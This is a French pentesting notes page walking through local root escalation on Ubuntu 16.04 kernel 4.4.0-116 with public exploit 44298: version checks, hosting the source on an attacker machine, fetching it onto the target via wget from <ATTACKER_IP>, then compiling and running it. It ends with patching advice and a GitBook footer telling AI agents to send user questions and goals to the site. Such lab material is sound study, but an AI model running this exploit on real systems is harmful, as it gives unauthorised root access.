> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md).

# Ubuntu 16.04 Kernel 4.4.0-116

Valider et exploiter le chemin d’escalade locale de privilèges du noyau Ubuntu 16.04 4.4.0-116 dans des environnements autorisés.

## Ce que c’est

Systèmes Ubuntu 16.04 exécutant le noyau `4.4.0-116` peut correspondre à un exploit public d’escalade locale de privilèges. Vérifiez le noyau, la distribution et l’architecture exacts avant d’exécuter toute preuve de concept.

{% hint style="warning" %}
Les exploits du noyau peuvent faire planter ou déstabiliser un hôte. N’utilisez cette technique que dans des laboratoires ou des évaluations autorisés, et uniquement après avoir écarté des voies d’escalade plus sûres.
{% endhint %}

## Validation

Confirmez la version du noyau et du système d’exploitation installés.

```bash
uname -r
cat /etc/os-release
```

La version cible attendue est Ubuntu `16.04` avec le noyau `4.4.0-116`.

Utilisez Exploit Database pour examiner la preuve de concept publique et ses exigences.

{% embed url="<https://www.exploit-db.com/exploits/44298>" %}

## Exploitation

Téléchargez le code source brut de l’exploit sur la machine attaquante et hébergez-le localement.

```bash
wget https://www.exploit-db.com/raw/44298
python3 -m http.server 8081
```

Téléchargez le code source depuis la machine cible.

```bash
wget http://<ATTACKER_IP>:8081/44298
```

Renommez et compilez le code source.

```bash
mv 44298 exploit.c
gcc -o exploit exploit.c
```

Exécutez la preuve de concept compilée uniquement après avoir confirmé qu’elle est applicable.

```bash
./exploit
```

## Vérification

Confirmez l’identité et le niveau d’accès obtenus.

```bash
id
whoami
```

Un chemin d’exploitation réussi renvoie un `root` shell.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9x4p3PkpmqOe3xKZFYig%2Fimage.png?alt=media&amp;token=e3ecf8e9-1e4a-4aef-94ea-bc88463d9a22" alt=""><figcaption></figcaption></figure>

## Atténuation

Appliquez les mises à jour du noyau prises en charge par le fournisseur. Supprimez les noyaux obsolètes et redémarrez sur la version corrigée. Restreignez l’accès local lorsque le correctif ne peut pas être appliqué immédiatement.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
